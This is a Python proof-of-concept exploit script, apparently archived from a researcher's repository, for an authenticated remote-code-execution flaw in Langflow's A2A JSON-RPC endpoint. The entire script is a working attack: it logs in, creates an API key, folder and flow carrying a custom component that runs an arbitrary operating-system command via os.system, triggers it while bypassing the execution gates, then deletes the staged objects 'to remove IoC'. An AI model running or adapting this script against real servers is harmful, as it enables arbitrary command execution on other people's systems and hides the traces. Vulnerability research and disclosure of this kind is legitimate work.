# Archived for authorized security research only.
# Source: https://github.com/rmhowe425/POC-CVE-2026-107327 (see README for attribution/license)
# Original: Langflow authenticated RCE via A2A JSON-RPC _apply_execution_gates bypass (CVE-2026-107327)
# Exploit Title: Langflow AI authenticated RCE via A2A JSON-RPC endpoint — `_apply_execution_gates bypass`
# Exploit Author: Richard Howe <rhowe425@gmail.com>
# Vendor Homepage: https://www.langflow.org/
# Software Link: https://www.langflow.org/desktop
# Version: 1.11.1
# Tested on: Ubuntu 22.04


# Summary:
#   The authenticated A2A execution path (_run_flow in a2a.py) calls
#   execute_sync_workflow_with_timeout() directly, bypassing _apply_execution_gates()
#   (workflow.py:295). This means LANGFLOW_BLOCK_CODE_INTERPRETER_COMPONENTS=true,
#   custom_component_admin_only, and catalog policy blocks are NOT enforced for
#   authenticated A2A runs, allowing any user with a valid API key to execute
#   arbitrary Python via PythonREPLComponent (or any other code-execution component)
#   even when the operator has explicitly blocked it.

# Preconditions:
#   - LANGFLOW_A2A_ENABLED=true
#   - LANGFLOW_BLOCK_CODE_INTERPRETER_COMPONENTS=true (the bypassed control)
#   - Attacker has a valid Langflow account and their own API key

import sys
import argparse
import requests

TIMEOUT = 15


def authenticate(base_url: str, username: str, password: str) -> dict:
    """
    Authenticates with Langflow instance to obtain a Bearer token and API key.

    Parameters
    ----------
    base_url : str
        URL for Langflow instance.
    username : str
        Username to authenticate with.
    password : str
        Password to authenticate with.

    Returns
    -------
    Langflow Bearer authentication header.
    """
    endpoint = '/api/v1/login'

    try:
        resp = requests.post(url=base_url + endpoint, data={"username": username, "password": password}, timeout=TIMEOUT)
        resp_json = resp.json()
    except Exception as e:
        raise RuntimeError(f"Unable to authenticate with Langflow: {str(e)}")

    if resp.status_code != 200 or not resp_json.get('access_token'):
        print(f"[!] Login failed: HTTP {resp.status_code} - {resp_json}")
        sys.exit(1)

    return {"Authorization": f"Bearer {resp_json['access_token']}"}


def get_api_key(base_url: str, auth: dict) -> str:
    """
    Retrieves or creates an API key for the authenticated user.

    The A2A authenticated path requires an owner-scoped x-api-key header
    (not a Bearer token). This fetches the first available key or creates one.

    Parameters
    ----------
    base_url : str
        URL for Langflow instance.
    auth : dict
        Langflow Bearer auth header.

    Returns
    -------
    API key string.
    """
    try:
        resp = requests.post(url=base_url + '/api/v1/api_key/', headers=auth,
                             json={"name": "pwn-key"}, timeout=TIMEOUT
                             )
        resp_json = resp.json()
    except Exception as e:
        raise RuntimeError(f"Unable to retrieve API key: {str(e)}")

    if resp.status_code not in (200, 201) or not resp_json.get('api_key'):
        print("[!] API key creation failed")
        sys.exit(1)

    return resp_json['api_key']


def create_folder(base_url: str, auth: dict) -> str:
    """
    Creates a folder with auth_type=apikey, which forces the authenticated A2A
    code path (_run_flow else-branch) instead of the protected public path.

    Parameters
    ----------
    base_url : str
        URL for Langflow instance.
    auth : dict
        Langflow Bearer auth header.

    Returns
    -------
    Folder ID string.
    """
    endpoint = '/api/v1/folders/'

    try:
        resp = requests.post(url=base_url + endpoint, headers=auth, timeout=TIMEOUT,
                             json={"name": "pwn-folder", "auth_settings": {"auth_type": "apikey"}})
        resp_json = resp.json()
    except Exception as e:
        raise RuntimeError(f"Unable to create folder: {str(e)}")

    if resp.status_code not in (200, 201) or not resp_json.get('id'):
        print(f"[!] Folder creation failed: HTTP {resp.status_code} - {resp.text[:300]}")
        sys.exit(1)

    return resp_json["id"]


def create_flow(base_url: str, auth: dict, command: str, folder_id: str) -> str:
    """
    Creates a malicious agent flow containing a CustomComponent node.

    Parameters
    ----------
    base_url : str
        URL for Langflow instance.
    auth : dict
        Langflow Bearer auth header.
    command : str
        OS command to execute on the target server.
    folder_id : str
        ID of the apikey-auth folder that forces the authenticated A2A path.

    Returns
    -------
    Flow ID string.
    """
    endpoint = '/api/v1/flows/'
    component_code = (
        "from langflow.custom import Component\n"
        "from langflow.schema import Data\n"
        "import os\n"
        "class Pwn(Component):\n"
        "    display_name = 'Pwn'\n"
        "    name = 'Pwn'\n"
        "    def build(self):\n"
        f"        os.system('{command}')\n"
        "        return Data(data={})\n"
    )
    flow = {
        "name": "pwn",
        "flow_type": "agent",
        "a2a_enabled": True,
        "folder_id": folder_id,
        "data": {
            "nodes": [{
                "id": "Pwn-pwn1",
                "type": "genericNode",
                "position": {"x": 0, "y": 0},
                "selected": False,
                "data": {
                    "type": "CustomComponent",
                    "id": "Pwn-pwn1",
                    "showNode": True,
                    "node": {
                        "display_name": "Pwn",
                        "description": "",
                        "base_classes": ["Data"],
                        # outputs must be present so vertex.outputs is non-empty.
                        # loading.py:417 does get_vertex().outputs[0] to record the
                        # build artifact — empty list raises IndexError.
                        "outputs": [{
                            "types": ["Data"],
                            "selected": "Data",
                            "name": "out",
                            "display_name": "Output",
                            "method": "build",
                            "cache": True,
                            "tool_mode": False
                        }],
                        "template": {
                            "_type": "CustomComponent",
                            "code": {
                                "type": "code",
                                "required": True,
                                "placeholder": "",
                                "list": False,
                                "show": True,
                                "multiline": True,
                                "value": component_code,
                                "password": False,
                                "name": "code",
                                "advanced": False,
                                "dynamic": True,
                                "info": "",
                                "load_from_db": False
                            }
                        }
                    }
                }
            }],
            "edges": []
        }
    }

    try:
        resp = requests.post(url=base_url + endpoint, json=flow, headers=auth, timeout=TIMEOUT)
        resp_json = resp.json()
    except Exception as e:
        raise RuntimeError(f"Unable to create flow: {str(e)}")

    if resp.status_code not in (200, 201) or not resp_json.get('id'):
        print(f"[!] Flow creation failed: HTTP {resp.status_code} - {resp.text[:300]}")
        sys.exit(1)

    return resp_json["id"]


def trigger_vuln(base_url: str, api_key: str, flow_id: str):
    """
    Triggers the vulnerability via the authenticated A2A JSON-RPC endpoint.

    Sends message/send to POST /api/v1/a2a/{flow_id}/jsonrpc with the owner's
    x-api-key. Langflow routes to _run_flow() (authenticated branch), which calls
    execute_sync_workflow_with_timeout() directly — bypassing _apply_execution_gates()
    (workflow.py:295) and therefore never calling validate_flow_for_current_settings(),
    check_code_execution_components_and_raise(), or validate_catalog_policy_for_flow().
    LANGFLOW_BLOCK_CODE_INTERPRETER_COMPONENTS has no effect on this path.

    Parameters
    ----------
    base_url : str
        URL of the Langflow instance.
    api_key : str
        Owner-scoped API key required by the authenticated A2A path.
    flow_id : str
        Unique identifier for the saved agent flow.
    """
    endpoint = f'/api/v1/a2a/{flow_id}/jsonrpc'
    rpc_payload = {
        "jsonrpc": "2.0",
        "method": "message/send",
        "id": "1",
        "params": {
            "message": {
                "messageId": "1",
                "role": "user",
                "parts": [{"kind": "text", "text": "run"}]
            }
        }
    }

    try:
        resp = requests.post(
            url=base_url + endpoint,
            json=rpc_payload,
            headers={"x-api-key": api_key},
            timeout=TIMEOUT,
        )
    except Exception as e:
        raise RuntimeError(f"Unable to trigger vulnerability: {str(e)}")

    if resp.status_code == 404:
        print("RESULT: NOT VULNERABLE (A2A disabled or flow not found — LANGFLOW_A2A_ENABLED may be off)")
        return
    if resp.status_code == 401:
        print("RESULT: NOT VULNERABLE (API key rejected — authenticated path requires owner-scoped key)")
        return
    if resp.status_code == 405:
        print("RESULT: NOT VULNERABLE (405 Method Not Allowed — LANGFLOW_A2A_ENABLED is likely false on this server)")
        return
    if resp.status_code != 200:
        print(f"[!] RESULT: INCONCLUSIVE (unexpected HTTP {resp.status_code})\n{resp.text[:300]}")
        return

    return resp.json()


def delete_folder(base_url: str, auth: dict, folder_id: str):
    """
    Deletes the folder created to stage the exploit.

    Parameters
    ----------
    base_url : str
        URL for Langflow instance.
    auth : dict
        Langflow Bearer auth headers.
    folder_id : str
        Unique ID for folder.
    """
    endpoint = f'/api/v1/folders/{folder_id}'

    try:
        requests.delete(url=base_url + endpoint, headers=auth, timeout=TIMEOUT)
    except Exception as e:
        print(f"\n[!] Folder cleanup failed: {e}")

    print(f"[*] Folder {folder_id} deleted.")


def delete_flow(base_url: str, auth: dict, flow_id: str):
    """
    Deletes the agent flow used to trigger the vulnerability.

    Parameters
    ----------
    base_url : str
        URL for Langflow instance.
    auth : dict
        Langflow Bearer auth headers.
    flow_id : str
        Unique ID for flow.
    """
    endpoint = f'/api/v1/flows/{flow_id}'

    try:
        requests.delete(url=base_url + endpoint, headers=auth, timeout=TIMEOUT)
    except Exception as e:
        print(f"\n[!] Flow cleanup failed: {e}")

    print(f"[*] Flow {flow_id} deleted.")


def main():
    parser = argparse.ArgumentParser(description="Langflow authenticated RCE via A2A _apply_execution_gates bypass")
    parser.add_argument('-url', '--url', required=True, help="Target URL, e.g. http://192.168.1.30:7860")
    parser.add_argument('-uname', '--username', required=True, help="Langflow username")
    parser.add_argument('-pword', '--password', required=True, help="Langflow password")
    parser.add_argument('-c', '-cmd', '--command', required=True, help="OS command to execute on the target")
    args = parser.parse_args()

    # Authenticate with target Langflow instance.
    print(f"[+] Authenticating as {args.username}")
    auth = authenticate(base_url=args.url, username=args.username, password=args.password)

    # Obtain an owner-scoped API key for the authenticated A2A path.
    print("[+] Obtaining API key for authenticated A2A path.")
    api_key = get_api_key(base_url=args.url, auth=auth)

    # Create apikey-auth folder to force the authenticated (_run_flow else-branch) path.
    print("[+] Creating apikey-auth folder.")
    folder_id = create_folder(base_url=args.url, auth=auth)

    # Create malicious flow inside the folder.
    print("[+] Uploading malicious flow.")
    flow_id = create_flow(base_url=args.url, auth=auth, command=args.command, folder_id=folder_id)

    try:
        # Trigger via authenticated A2A — bypasses _apply_execution_gates().
        print("[+] Triggering vulnerability.")
        result = trigger_vuln(base_url=args.url, api_key=api_key, flow_id=flow_id)
        if result is not None:
            import json
            print(f"[+] RESULT: VULNERABLE\n{json.dumps(result, indent=2)}")
    finally:
        print("[+] Deleting malicious flow and folder to remove IoC.")
        delete_flow(base_url=args.url, auth=auth, flow_id=flow_id)
        delete_folder(base_url=args.url, auth=auth, folder_id=folder_id)


main()
